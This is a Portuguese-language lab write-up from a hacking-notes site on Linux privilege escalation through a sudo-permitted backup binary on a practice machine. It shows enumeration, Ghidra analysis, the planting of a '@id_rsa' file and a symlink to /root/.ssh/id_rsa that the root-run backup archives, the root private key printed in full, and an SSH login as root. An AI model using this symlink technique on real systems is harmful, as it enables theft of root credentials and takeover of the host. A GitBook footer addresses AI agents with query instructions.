> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md).

# Sudo Backup Binary Symlink - Escalada de Privilégio no Linux

## O que é

A escalada de privilégios via Sudoers começa com os comandos que um usuário pode executar por meio de `sudo`. Binários mal configurados, argumentos de script inseguros, tratamento de links simbólicos e versões vulneráveis do sudo podem transformar permissões limitadas de sudo em um shell root. Esta página específica foca em **Sudo (binário de backup / link simbólico)** e mantém o fluxo de exploração prático: identifique a condição, valide-a com segurança e então execute o payload menor necessário para comprovar o impacto.

## Enumeração

Comece confirmando o contexto local e a configuração incorreta exata antes de executar o caminho de exploração.

```bash
sudo -l
sudo --version
```

## Exemplos

### Exploração do binário Sudoers:

Executando o `sudo -l` comando como um `xander` usuário, você pode executar o `usage_management` binário com três opções:

1. *`Backup do Projeto`*
2. *`Fazer backup dos dados do MySQL`*
3. *`Redefinir senha de administrador`*

<figure><img src="/files/cad506c337d4229f958d57ee97f6a975dc176b7f" alt=""><figcaption></figcaption></figure>

Ao selecionar a primeira opção ("Backup do Projeto"), o programa cria um `.zip` arquivo com um backup como um `root` usuário.

<figure><img src="/files/3541e1795bb57396a1b2918fb4fa741790010b7b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e63d465f1471e4facee30977bba4f230b1b87a3a" alt=""><figcaption></figcaption></figure>

### Análise Binária (GHIDRA)

{% embed url="<https://github.com/NationalSecurityAgency/ghidra>" %}

Instale e execute o GHIDRA para analisar o binário:

```bash
cd /opt
mkdir ghydra
cd !$
mv /home/jordan/Desktop/htb/Usage/exploits/ghidra_11.2.1_PUBLIC_20241105.zip .
unzip ghidra_11.2.1_PUBLIC_20241105.zip
./ghidraRun &> /dev/null & disown
```

<figure><img src="/files/eaf1aca66110af5dc087f585f574f6223eec374d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/21a973c3c19012674fc4e8a7562736c8b63984f6" alt=""><figcaption></figcaption></figure>

* No `Backup do Projeto` função, este recurso compacta o conteúdo de `/var/www/html` em um `project.zip` arquivo com privilégios de root.

<figure><img src="/files/a9b931a63bbee047fadb49f5680a6147d9ce24ee" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page-----16397895490f-------------------------------->" %}

**Criado um link simbólico para acessar a chave SSH de root**: Para explorar este recurso, crie um link simbólico para a chave SSH de root no `html` diretório

```bash
cd /var/www/html
touch @id_rsa
ln -s /root/.ssh/id_rsa id_rsa
```

<figure><img src="/files/62f5f43280dc5500409629292a25746c0021bde7" alt=""><figcaption></figcaption></figure>

**Execução do script como usuário root**:

* Execute o script `usage_management` :

<figure><img src="/files/5e9120d7553633161b985023e4601cd903400cc1" alt=""><figcaption></figcaption></figure>

* No `project.zip` arquivo, obtenha a chave privada de root (`id_rsa`).

<figure><img src="/files/dd840c7a410f88863e14a1e9f7100ffbe7d206e0" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW 
QyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3QAAAJAfwyJCH8Mi 
QgAAAAtzc2gtZWQyNTUxOQAAACC20mOr6LAHUMxon+edz07Q7B9rH01mXhQyxpqjIa6g3Q
AAAEC63P+5DvKwuQtE4YOD4IEeqfSPszxqIL1Wx1IT31xsmrbSY6vosAdQzGif553PTtDs
H2sfTWZeFDLGmqMhrqDdAAAACnJvb3RAdXNhZ2UBAgM=
-----END OPENSSH PRIVATE KEY-----
```

**Conexão SSH com a chave de root**:

* Use a chave para entrar como root:

```bash
ssh -i id_rsa root@10.10.11.18
```

<figure><img src="/files/fa85cc9c5eab40883086d5783540fc42597cfa77" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/sudoers/sudo-backup-binary-symlink-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
